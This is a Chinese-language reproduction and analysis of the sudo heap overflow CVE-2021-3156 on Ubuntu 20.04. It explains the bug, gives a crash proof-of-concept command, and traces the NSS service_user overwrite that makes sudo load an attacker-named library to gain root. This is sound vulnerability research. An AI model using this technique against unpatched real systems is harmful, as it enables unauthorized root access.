环境搭建
本次复现使用ubuntu-20.04-desktop-amd64
查看sudo版本:
ivan@ubuntu:~$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
下载sudo符号表及源码并安装:
ivan@ubuntu:~$ wget http://launchpadlibrarian.net/463349800/sudo-dbgsym_1.8.31-1ubuntu1_amd64.ddeb
ivan@ubuntu:~$ sudo dpkg -i sudo-dbgsym_1.8.31-1ubuntu1_amd64.ddeb
ivan@ubuntu:~$ wget https://github.com/sudo-project/sudo/archive/SUDO_1_8_31.tar.gz
ivan@ubuntu:~$ tar -xvf SUDO_1_8_31.tar.gz
这里注意符号表只能手动安装,若使用apt安装会自动更新sudo无法继续调试漏洞。
下载glibc源码:
ivan@ubuntu:~$ sudo apt-get install glibc-source
ivan@ubuntu:/usr/src/glibc$ tar -xvf glibc-2.31.tar.xz
漏洞原理
触发漏洞的条件是当Sudo在shell模式下运行,且通过 -s 或 -i 选项设置Sudo内 MODE_SHELL
为True。
在main()
函数调用parse_args()
时,该函数将所有命令行参数重写,并使用反斜杠转义元字符:
//src/parse_args.c:L571
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
...
if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
...
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\0';
ac += 2; /* -c cmnd */
}
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
}
之后main()
函数调用 policy_check()
经过sudoers_policy_check()
、sudoers_policy_main()
,在set_cmnd()
函数将命令行参数放入堆缓冲区user_args
并解转义非空格字符进行sudoers匹配和记录:
//plugin/sudoers/sudoers.c:L819
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
//plugin/sudoers/sudoers.c:L852
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
...
}
此时若from[0]
为\
并且from[1]
是NULL结束字符(不为空格),因此进入if条件 from++
后此时指向NULL结束字符,而下一行from++
指向下个字符串开头,若该字符串存在,则继续这个while循环,因此造成了堆溢出。通过动态调试可见,程序越界读取\
后的“AAAAA....”字符,进入下一轮while循环:
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x41
$rbx : 0x0000555555596e40 → 0x00007ffffffee82f → 0x414141414141005c
$rcx : 0x0
$rdx : 0x00007ffff749a1ac → 0x0002000200020002
$rsp : 0x00007ffffffee220 → 0x00007ffffffee5d0 → 0x00005555555748ce → "sudoedit"
$rbp : 0x0000555555596e81 → 0x0000000000000000
$rsi : 0x10014
$rdi : 0x1
$rip : 0x00007ffff6e5aa71 → <sudoers_policy_main+3137> jne 0x7ffff6e5aa3d <sudoers_policy_main+3085>
$r8 : 0x00007ffff7c8bb30 → 0x00007ffff749a1ac → 0x0002000200020002
$r9 : 0x00007ffff7f3c1e0 → 0x00007ffff7f3c1d0 → 0x00007ffff7f3c1c0 → 0x00007ffff7f3c1b0 → 0x00007ffff7f3c1a0 → 0x00007ffff7f3c190 → 0x00007ffff7f3c180 → 0x00007ffff7f3c170
$r10 : 0x00005555555a0000 → 0x0000000000000000
$r11 : 0xfffffffffffff000
$r12 : 0x0
$r13 : 0x00007ffffffee260 → 0xffffffffffffffff
$r14 : 0x00007ffffffee830 → 0x4141414141414100
$r15 : 0x00007ffffffee831 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffffffee220│+0x0000: 0x00007ffffffee5d0 → 0x00005555555748ce → "sudoedit" ← $rsp
0x00007ffffffee228│+0x0008: 0x00007fff00000000
0x00007ffffffee230│+0x0010: 0x00007fff00020002
0x00007ffffffee238│+0x0018: 0x0000000000000000
0x00007ffffffee240│+0x0020: 0x0000003000000000
0x00007ffffffee248│+0x0028: 0x00007ffffffee2e0 → 0x00007ffffffee360 → 0x0000000000000000
0x00007ffffffee250│+0x0030: 0x00007ffffffee260 → 0xffffffffffffffff
0x00007ffffffee258│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff6e5aa67 <sudoers_policy_main+3127> add rbp, 0x1
0x7ffff6e5aa6b <sudoers_policy_main+3131> add r15, 0x2
0x7ffff6e5aa6f <sudoers_policy_main+3135> test al, al
→ 0x7ffff6e5aa71 <sudoers_policy_main+3137> jne 0x7ffff6e5aa3d <sudoers_policy_main+3085> TAKEN [Reason: !Z]
↳ 0x7ffff6e5aa3d <sudoers_policy_main+3085> lea r14, [r15+0x1]
0x7ffff6e5aa41 <sudoers_policy_main+3089> cmp al, 0x5c
0x7ffff6e5aa43 <sudoers_policy_main+3091> jne 0x7ffff6e5aa20 <sudoers_policy_main+3056>
0x7ffff6e5aa45 <sudoers_policy_main+3093> call 0x7ffff6e3fa40 <__ctype_b_loc@plt>
0x7ffff6e5aa4a <sudoers_policy_main+3098> movzx ecx, BYTE PTR [r15+0x1]
0x7ffff6e5aa4f <sudoers_policy_main+3103> mov r8, rax
─────────────────────────────────────────────────────────────────────────────────────────── source:../../../plugin[...].c+868 ────
863 */
● 864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
→ 868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
872 *--to = '\0';
873 } else {
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudoedit", stopped 0x7ffff6e5aa71 in set_cmnd (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff6e5aa71 → set_cmnd()
[#1] 0x7ffff6e5aa71 → sudoers_policy_main(argc=0x3, argv=0x7ffffffee5d0, pwflag=0x0, env_add=0x0, verbose=0x0, closure=0x7ffffffee2e0)
[#2] 0x7ffff6e533ca → sudoers_policy_check(argc=0x3, argv=0x7ffffffee5d0, env_add=0x0, command_infop=0x7ffffffee358, argv_out=0x7ffffffee360, user_env_out=0x7ffffffee368)
[#3] 0x55555555af26 → policy_check(plugin=0x55555557e7e0 <policy_plugin>, user_env_out=0x7ffffffee368, argv_out=0x7ffffffee360, command_info=0x7ffffffee358, env_add=0x0, argv=0x7ffffffee5d0, argc=0x3)
[#4] 0x55555555af26 → main(argc=<optimized out>, argv=<optimized out>, envp=0x7ffffffee5f0)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
关于如何执行到漏洞点即:是否可以同时设置 MODE_SHELL
及 MODE_EDIT
/ MODE_CHECK
并且不使用默认设置MODE_RUN
去执行sudo。这引出了第二个漏洞点,首先正常情况下设置 MODE_EDIT
的同时都会将MODE_SHELL
从valid_flags
中移除:
//src/parse_args.c:L358
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl(1);
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
但当使用sudoedit这个命令时,在设置MODE_EDIT
后并没有重置valid_flags
,而该参数初始化时默认设置了MODE_SHELL
:
//src/parse_args.c:L127
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
//src/parse_args.c:L249
int valid_flags = DEFAULT_VALID_FLAGS;
//src/parse_args.c:L266
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
poc如下:
ivan@ubuntu:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
漏洞利用
Qualys团队在openwall中提供的分析[1]中提到了三种利用思路,本文只对第二种利用方式进行详细分析。
在分析利用思路前首先需要了解locale,以及NSS的相关概念及实现。
区域设置(locale)是表达程序用户地区方面的软件设定(语言、日期格式等)。在UNIX下,通常通过环境变量来控制区域设置。这些环境变量包括:LC_ALL
, LC_CTYPE
, LC_TIME
, 等等。命名规则如下:
language[_territory[.codeset]][@modifier]
其中language是ISO 639-1标准中定义的双字母的语言代码,territory是ISO 3166-1标准中定义的双字母的国家和地区代码,codeset是字符集的名称 (如 UTF-8等),而 modifier 则是某些 locale 变体的修正符。通常使用setlocale()
函数对程序进行地域设置。
NSS(Name Service Switch)是用来解析用户ID登录名称、IP地址转换为主机名等。相关配置文件存储在/etc/nsswitch.conf
:
ivan@ubuntu:~$ cat /etc/nsswitch.conf
...
passwd: files systemd
group: files systemd
shadow: files
gshadow: files
...
针对每种数据库(配置文件第一行)都定义了查找方法的服务规范,在GNU C Library里, 每个可用的服务规范(SERVICE)都必须有文件 /lib/libnss_SERVICE.so.1
与之对应,例如:group数据库定义了服务规范files、systemd ,在调用getgroup()
函数时就会调用/lib/libnss_files.so.1
的nss_lookup_function
进行查找。
下面介绍利用过程,简单来说该利用方式是利用设置locale环境变量控制处理该环境变量堆块的大小进行占位,之后通过申请到service_user
结构体上方附近堆块进行覆写,将name字段替换成预先设置的恶意libc名称从而完成提权。
首先设置LC_ALL
环境变量,通过修改modifier字段的长度控制之后存储LC_ALL
变量的堆块大小,此处需注意,若territory或codeset不存在则会影响setlocale
执行流程从而无法达到预期的堆布局。在sudo.c: 154处的setlocale
函数对环境变量进行预处理后,在sudo.c: 169的sudo_conf_read
函数内的setlocale
函数中为LC_ALL
申请内存空间,调用栈如下:
[#0] 0x7ffff7dea52c → _int_malloc(av=0x7ffff7f3ab80 <main_arena>, bytes=0xdd)
[#1] 0x7ffff7dec2d4 → __GI___libc_malloc(bytes=0xdd)
[#2] 0x7ffff7d826ac → new_composite_name(category=0x6, newnames=0x7fffffffe4f0)
[#3] 0x7ffff7d82e58 → __GI_setlocale(locale=0x555555581bb0 "C.UTF-8@", 'A' <repeats 212 times>, category=0xffffffff)
[#4] 0x7ffff7d82e58 → __GI_setlocale(category=0x6, locale=0x555555589060 "C.UTF-8@", 'A' <repeats 212 times>)
[#5] 0x7ffff7f4d471 → sudo_conf_read_v1(conf_file=<optimized out>, conf_types=0x1)
[#6] 0x55555555ac75 → main(argc=0x7, argv=0x7fffffffe9c8, envp=0x7fffffffea08)
之后在sudo.c: 191 get_user_info
函数获取用户信息时初始化file,systemd服务规范的service_user
结构体空间,调用栈如下:
[#0] 0x7ffff7edd714 → __memmove_avx_unaligned_erms()
[#1] 0x7ffff7e95172 → nss_parse_service_list(line=0x555555589365 " systemd")
[#2] 0x7ffff7e95bcc → nss_getline(line=<optimized out>)
[#3] 0x7ffff7e95bcc → nss_parse_file(fname=0x7ffff7f09714 "/etc/nsswitch.conf")
[#4] 0x7ffff7e95bcc → __GI___nss_database_lookup2(database=0x7ffff7f09727 "passwd", alternate_name=0x0, defconfig=0x7ffff7f0c690 "compat [NOTFOUND=return] files", ni=0x7ffff7f3f738 <__nss_passwd_database>)
[#5] 0x7ffff7e97c7c → __GI___nss_passwd_lookup2(ni=0x7fffffffd648, fct_name=0x7ffff7f07a7c "getpwuid_r", fct2_name=0x0, fctp=0x7fffffffd650)
[#6] 0x7ffff7e3464b → __getpwuid_r(uid=0x0, resbuf=0x7ffff7f3e180 <resbuf>, buffer=0x55555557f500 "", buflen=0x400, result=0x7fffffffd6a0)
[#7] 0x7ffff7e33b4b → getpwuid(uid=0x0)
[#8] 0x55555556bb0a → get_user_info(ud=0x55555557e760 <user_details>)
[#9] 0x55555555acfd → main(argc=0x7, argv=0x7fffffffe9c8, envp=0x7fffffffea08)
service_user
结构体实现如下:
//nss/nsswitch.h#L61
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
通过阅读nss_load_library
函数实现可知:当 ni->library==NULL
时,会通过__libc_dlopen
调用 "libnss_"+ni->name+".so"
;目标是通过溢出覆写service_user->name
,使得程序加载攻击者预先设置的恶意libc从而提权。
//nss/nsswitch.c#L328
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
运行到漏洞触发前为user_args
申请内存空间位置,可见接下来要利用漏洞进行溢出的堆块恰好在file,systemd服务规范service_user
结构体上方:
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000555555589350 → 0x0000000000000000
$rbx : 0x000055555558dc90 → 0x00007fffffffeda8 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rcx : 0x000055555557f01c → 0x0000000000000000
$rdx : 0x0
$rsp : 0x00007fffffffe620 → 0x00007fffffffe9e0 → 0x00005555555748ce → "sudoedit"
$rbp : 0x000055555558dca8 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x74
$rip : 0x00007ffff6ca3138 → 0x480003ddd1058948
$r8 : 0x0000555555589350 → 0x0000000000000000
$r9 : 0x00005555555982a0 → 0x0000000000000800
$r10 : 0x000055555557f010 → 0x0002000000010002
$r11 : 0x00007ffff7f3abe0 → 0x000055555559f250 → 0x0000000000000000
$r12 : 0x0
$r13 : 0x00007fffffffe660 → 0xffffffffffffffff
$r14 : 0x74
$r15 : 0x000055555558dc88 → 0x00005555555748ce → "sudoedit"
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe620│+0x0000: 0x00007fffffffe9e0 → 0x00005555555748ce → "sudoedit" ← $rsp
0x00007fffffffe628│+0x0008: 0x00007fff00000000
0x00007fffffffe630│+0x0010: 0x00007fff00020002
0x00007fffffffe638│+0x0018: 0x0000000000000000
0x00007fffffffe640│+0x0020: 0x0000003000000000
0x00007fffffffe648│+0x0028: 0x00007fffffffe6e0 → 0x00007fffffffe760 → 0x0000000000000000
0x00007fffffffe650│+0x0030: 0x00007fffffffe660 → 0xffffffffffffffff
0x00007fffffffe658│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff6ca312a <sudoers_policy_main+762> je 0x7ffff6ca3f40 <sudoers_policy_main+4368>
0x7ffff6ca3130 <sudoers_policy_main+768> mov rdi, r14
0x7ffff6ca3133 <sudoers_policy_main+771> call 0x7ffff6c884d0 <malloc@plt>
→ 0x7ffff6ca3138 <sudoers_policy_main+776> mov QWORD PTR [rip+0x3ddd1], rax # 0x7ffff6ce0f10 <sudo_user+112>
0x7ffff6ca313f <sudoers_policy_main+783> mov rbp, rax
0x7ffff6ca3142 <sudoers_policy_main+786> test rax, rax
0x7ffff6ca3145 <sudoers_policy_main+789> je 0x7ffff6ca3f40 <sudoers_policy_main+4368>
0x7ffff6ca314b <sudoers_policy_main+795> mov eax, DWORD PTR [rip+0x3dd3f] # 0x7ffff6ce0e90 <sudo_mode>
0x7ffff6ca3151 <sudoers_policy_main+801> mov r15, QWORD PTR [r15+0x8]
─────────────────────────────────────────────────────────────────────────────────────────────── source:../../../plugin[...].c+854 ────
849 size_t size, n;
850
851 /* Alloc and build up user_args. */
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
●→ 854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859 /*
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudoedit", stopped 0x7ffff6ca3138 in set_cmnd (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff6ca3138 → set_cmnd()
[#1] 0x7ffff6ca3138 → sudoers_policy_main(argc=0x4, argv=0x7fffffffe9e0, pwflag=0x0, env_add=0x0, verbose=0x0, closure=0x7fffffffe6e0)
[#2] 0x7ffff6c9c3ca → sudoers_policy_check(argc=0x4, argv=0x7fffffffe9e0, env_add=0x0, command_infop=0x7fffffffe758, argv_out=0x7fffffffe760, user_env_out=0x7fffffffe768)
[#3] 0x55555555af26 → policy_check(plugin=0x55555557e7e0 <policy_plugin>, user_env_out=0x7fffffffe768, argv_out=0x7fffffffe760, command_info=0x7fffffffe758, env_add=0x0, argv=0x7fffffffe9e0, argc=0x4)
[#4] 0x55555555af26 → main(argc=<optimized out>, argv=<optimized out>, envp=0x7fffffffea08)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ hexdump byte $rax-0x10 0x120
0x0000555555589340 30 00 00 00 00 00 00 00 81 00 00 00 00 00 00 00 0...............
0x0000555555589350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0000555555589360 69 6e 00 00 33 00 00 73 6f 6c 76 2e 63 6f 6e 66 in..3..solv.conf
0x0000555555589370 2e 0a 00 38 29 20 66 6f 72 20 64 65 74 61 69 6c ...8) for detail
0x0000555555589380 73 20 61 62 6f 75 74 20 74 68 65 20 73 75 70 70 s about the supp
0x0000555555589390 6f 72 74 65 64 20 6d 6f 64 65 73 20 6f 66 0a 00 orted modes of..
0x00005555555893a0 00 6f dc a0 00 00 00 00 41 84 a9 90 00 00 00 00 .o......A.......
0x00005555555893b0 42 4f be a0 00 00 00 00 43 64 8b 90 00 00 00 00 BO......Cd......
0x00005555555893c0 44 2f a0 a0 00 00 00 00 41 00 00 00 00 00 00 00 D/......A.......
0x00005555555893d0 10 94 58 55 55 55 00 00 00 00 00 00 00 00 00 00 ..XUUU..........
0x00005555555893e0 00 00 00 00 01 00 00 00 01 00 00 00 55 55 00 00 ............UU..
0x00005555555893f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0000555555589400 66 69 6c 65 73 00 00 00 41 00 00 00 00 00 00 00 files...A.......
0x0000555555589410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0000555555589420 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ................
0x0000555555589430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0000555555589440 73 79 73 74 65 6d 64 00 21 00 00 00 00 00 00 00 systemd.!.......
0x0000555555589450 b0 94 58 55 55 55 00 00 70 94 58 55 55 55 00 00 ..XUUU..p.XUUU..
溢出时因为要求ni->library==NULL
需要写入\x00
,这里可以利用漏洞写入多个\\\x00
,达到目的。
溢出后可见成功用X/P0P_SH3LLZ_
覆写了file服务规范的name字段:
gef➤ hexdump byte 0x0000555555589350-0x10 0x120
0x0000555555589340 30 00 00 00 00 00 00 00 81 00 00 00 00 00 00 00 0...............
0x0000555555589350 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555589360 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555589370 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000555555589380 41 41 41 41 41 41 41 41 00 00 42 42 42 42 42 42 AAAAAAAA..BBBBBB
0x0000555555589390 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0x00005555555893a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0x00005555555893b0 42 42 42 42 42 42 42 42 42 42 31 32 33 34 35 36 BBBBBBBBBB123456
0x00005555555893c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00005555555893d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00005555555893e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00005555555893f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x0000555555589400 58 2f 50 30 50 5f 53 48 33 4c 4c 5a 5f 20 00 42 X/P0P_SH3LLZ_ .B
0x0000555555589410 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0x0000555555589420 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0x0000555555589430 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 31 BBBBBBBBBBBBBBB1
0x0000555555589440 32 33 34 35 36 00 00 00 00 00 00 00 00 00 00 00 23456...........
0x0000555555589450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
继续运行可见成功调用修改的libnss_X/P0P_SH3LLZ_ .so.2
:
Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffde45 → 0xfff700322e6f732e (".so.2"?)
$rbx : 0x0000555555585fb0 → 0x0000555555589400 → "X/P0P_SH3LLZ_ "
$rcx : 0x322e
$rdx : 0xe
$rsp : 0x00007fffffffde30 → "libnss_X/P0P_SH3LLZ_ .so.2"
$rbp : 0x00007fffffffdea0 → 0x00007fffffffdf00 → 0x0000000000000000
$rsi : 0x80000002
$rdi : 0x00007fffffffde30 → "libnss_X/P0P_SH3LLZ_ .so.2"
$rip : 0x00007ffff7e95627 → <nss_load_library+359> call 0x7ffff7eb1930 <__GI___libc_dlopen_mode>
$r8 : 0x0000555555585fb0 → 0x0000555555589400 → "X/P0P_SH3LLZ_ "
$r9 : 0x205f5a4c4c3348
$r10 : 0x1b
$r11 : 0x00007ffff7f3abe0 → 0x000055555559f250 → 0x0000000000000000
$r12 : 0x00005555555893d0 → 0x0000000000000000
$r13 : 0x0000555555589400 → "X/P0P_SH3LLZ_ "
$r14 : 0x00007fffffffde50 → 0x00007ffff7f0636a → 0x6225206125000200
$r15 : 0x16
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde30│+0x0000: "libnss_X/P0P_SH3LLZ_ .so.2" ← $rsp, $rdi
0x00007fffffffde38│+0x0008: "/P0P_SH3LLZ_ .so.2"
0x00007fffffffde40│+0x0010: "LLZ_ .so.2"
0x00007fffffffde48│+0x0018: 0x00007ffff700322e → 0x7af901037af10103
0x00007fffffffde50│+0x0020: 0x00007ffff7f0636a → 0x6225206125000200 ← $r14
0x00007fffffffde58│+0x0028: 0x000000000000001b
0x00007fffffffde60│+0x0030: 0x0000000000000000
0x00007fffffffde68│+0x0038: 0x7df0074d68344000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7e95619 <nss_load_library+345> mov DWORD PTR [rax], 0x6f732e
0x7ffff7e9561f <nss_load_library+351> mov BYTE PTR [rax+0x5], 0x0
0x7ffff7e95623 <nss_load_library+355> mov WORD PTR [rax+0x3], cx
→ 0x7ffff7e95627 <nss_load_library+359> call 0x7ffff7eb1930 <__GI___libc_dlopen_mode>
↳ 0x7ffff7eb1930 <__libc_dlopen_mode+0> endbr64
0x7ffff7eb1934 <__libc_dlopen_mode+4> sub rsp, 0x58
0x7ffff7eb1938 <__libc_dlopen_mode+8> mov rax, QWORD PTR fs:0x28
0x7ffff7eb1941 <__libc_dlopen_mode+17> mov QWORD PTR [rsp+0x48], rax
0x7ffff7eb1946 <__libc_dlopen_mode+22> xor eax, eax
0x7ffff7eb1948 <__libc_dlopen_mode+24> mov rax, QWORD PTR [rsp+0x58]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments ────
__GI___libc_dlopen_mode (
QWORD var_0 = 0x00007fffffffde30 → "libnss_X/P0P_SH3LLZ_ .so.2",
int var_1 = 0x0000000080000002
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────── source:nsswitch.c+359 ────
354 "libnss_"),
355 ni->name),
356 ".so"),
357 __nss_shlib_revision);
358
→ 359 ni->library->lib_handle = __libc_dlopen (shlib_name);
360 if (ni->library->lib_handle == NULL)
361 {
362 /* Failed to load the library. Try a fallback. */
363 int n = __snprintf(shlib_name, shlen, "libnss_%s.so.%d.%d",
364 ni->library->name, __GLIBC__, __GLIBC_MINOR__);
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudoedit", stopped 0x7ffff7e95627 in nss_load_library (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e95627 → nss_load_library(ni=0x5555555893d0)
[#1] 0x7ffff7e95ed9 → __GI___nss_lookup_function(ni=0x5555555893d0, fct_name=<optimized out>)
[#2] 0x7ffff7e3113f → internal_getgrouplist(user=0x55555558f8b8 "root", group=0x0, size=0x7fffffffdf88, groupsp=0x7fffffffdf90, limit=0xffffffffffffffff)
[#3] 0x7ffff7e313ed → getgrouplist(user=0x55555558f8b8 "root", group=0x0, groups=0x7ffff6c2d010, ngroups=0x7fffffffdfe4)
[#4] 0x7ffff7f49e16 → sudo_getgrouplist2_v1(name=0x55555558f8b8 "root", basegid=0x0, groupsp=0x7fffffffe040, ngroupsp=0x7fffffffe03c)
[#5] 0x7ffff6cb9d63 → sudo_make_gidlist_item(pw=0x55555558f888, unused1=<optimized out>, type=0x1)
[#6] 0x7ffff6cb8b0e → sudo_get_gidlist(pw=0x55555558f888, type=0x1)
[#7] 0x7ffff6cb286d → runas_getgroups()
[#8] 0x7ffff6c9fd32 → runas_setgroups()
[#9] 0x7ffff6c9fd32 → set_perms(perm=0x5)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
总结
一开始在尝试写利用的时候一直是以释放LC_ALL
变量堆块来占位到service_user
结构体上方为目标来进行编写,然而在调试时发现进行占位的堆块并不是LC_ALL
变量的堆块;在阅读Qualys的报告时注意到,在寻找利用点时使用了fuzz的方法,找到了三个较为稳定的利用点,这种寻找利用点的思路在今后可以借鉴;与locale相关的提权利用加上这个漏洞已经有两个了,上一个是 CVE-2018-1000001[5],这两个漏洞体现出来的用户态提权模式值得探索。
参考链接
[1] oss-security - Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)
[2] CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog
[3] linux中 nsswitch.conf的讲解-阿里云开发者社区
[4] nsswitch.c - nss/nsswitch.c - Glibc source code (glibc-2.31) - Bootlin
[5] Libc Realpath Buffer Underflow
[6] CVE-2021-3156/hax.c at main · blasty/CVE-2021-3156 · GitHub
[7] sudo-dbgsym : Focal (20.04) : Ubuntu